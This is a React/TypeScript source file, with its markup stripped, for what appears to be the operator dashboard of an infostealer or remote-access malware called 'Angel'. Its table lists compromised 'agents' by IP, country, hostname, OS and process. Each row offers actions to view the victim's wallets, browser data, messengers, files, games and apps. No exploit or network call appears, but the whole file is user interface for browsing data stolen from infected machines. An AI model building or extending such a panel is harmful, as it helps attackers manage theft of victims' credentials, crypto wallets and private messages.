[] = [
{
accessorKey: "agent_id",
header: "Agent Identifier",
cell: ({ row }) => (
{row.getValue("agent_id")}
),
},
{
accessorKey: "country",
header: "Country",
//cell: ({ row }) => {resolve_country(row.getValue("country"))}
,
cell: ({ row }) => {row.getValue("country")}
,
},
{
accessorKey: "ip",
header: "IPv4",
cell: ({ row }) => {row.getValue("ip")}
,
},
{
accessorKey: "system",
header: "Operating System",
cell: ({ row }) => {row.getValue("system")}
,
},
{
accessorKey: "name",
header: "username@hostname",
cell: ({ row }) => {row.getValue("name")}
,
},
{
accessorKey: "process",
header: "PID Process",
cell: ({ row }) => {row.getValue("process")}
,
},
/*{
accessorKey: "activity",
header: ({ column }) => {
return (
);
},
cell: ({ row }) => (
{(row.getValue("activity") === true && "Active") ?? "Inactive"}
),
},*/
{
accessorKey: "version",
header: "Angel Version",
cell: ({ row }) => {row.getValue("version")}
,
},
{
id: "actions",
enableHiding: false,
cell: ({ row }) => {
const agent = row.original;
return (
Actions
navigator.clipboard.writeText(agent.agent_id)}
>
Copy agent ID
Agent overview
View wallets
View network
View apps
View browser
View system info
View games
View messengers
View files
);
},
},
];
/*export function DataMeow() {
const chunkArray = (array: Angel[], chunkSize: number): Angel[][] => {
const chunks: Angel[][] = [];
for (let i = 0; i < array.length; i += chunkSize) {
chunks.push(array.slice(i, i + chunkSize));
}
return chunks;
};
const chunks = chunkArray(agents, 5);
return (
{chunks.map((chunk, index) => (
))}
);
}*/
/*interface DataTableProps {
tablemeow: Angel[];
}*/
//export function DataTable({ tablemeow }: DataTableProps) {
export function DataTable() {
const [sorting, setSorting] = React.useState([]);
const [columnFilters, setColumnFilters] = React.useState(
[],
);
const [columnVisibility, setColumnVisibility] =
React.useState({});
const [rowSelection, setRowSelection] = React.useState({});
const [pageSize, setPageSize] = React.useState(10);
const [pageIndex, setPageIndex] = React.useState(0);
const table = useReactTable({
data: agents, // tablemeow
columns,
onSortingChange: setSorting,
onColumnFiltersChange: setColumnFilters,
getCoreRowModel: getCoreRowModel(),
getPaginationRowModel: getPaginationRowModel(),
getSortedRowModel: getSortedRowModel(),
getFilteredRowModel: getFilteredRowModel(),
onColumnVisibilityChange: setColumnVisibility,
onRowSelectionChange: setRowSelection,
//manualPagination: false,
state: {
sorting,
columnFilters,
columnVisibility,
rowSelection,
pagination: { pageSize, pageIndex },
},
});
const startRow =
table.getState().pagination.pageIndex *
table.getState().pagination.pageSize +
1;
const endRow = Math.min(
(table.getState().pagination.pageIndex + 1) *
table.getState().pagination.pageSize,
table.getFilteredRowModel().rows.length,
);
return (
table.getColumn("name")?.setFilterValue(event.target.value)
}
className="max-w-sm"
/>
{table
.getAllColumns()
.filter((column) => column.getCanHide())
.map((column) => {
return (
column.toggleVisibility(!!value)
}
>
{column.id}
);
})}
{table.getHeaderGroups().map((headerGroup) => (
{headerGroup.headers.map((header) => {
return (
{header.isPlaceholder
? null
: flexRender(
header.column.columnDef.header,
header.getContext(),
)}
);
})}
))}
{table.getRowModel().rows?.length ? (
table.getRowModel().rows.map((row) => (
{row.getVisibleCells().map((cell) => (
{flexRender(
cell.column.columnDef.cell,
cell.getContext(),
)}
))}
))
) : (
No results.
)}
Showing {startRow}-{endRow} of{" "}
{table.getFilteredRowModel().rows.length} rows.
);
}
function Dashboard() {
const [time, setTime] = React.useState("");
React.useEffect(() => {
const updateTime = () => {
const currentTime = new Date().toLocaleTimeString();
setTime(currentTime);
};
updateTime();
const intervalId = setInterval(updateTime, 1000);
return () => clearInterval(intervalId);
}, []);
const { toast } = useToast();
return (
<>
{time}
meow
My Account
Profile
Billing
Settings
Leaderboard
GitHub
Support
API
Log out
>
);
}
export default Dashboard;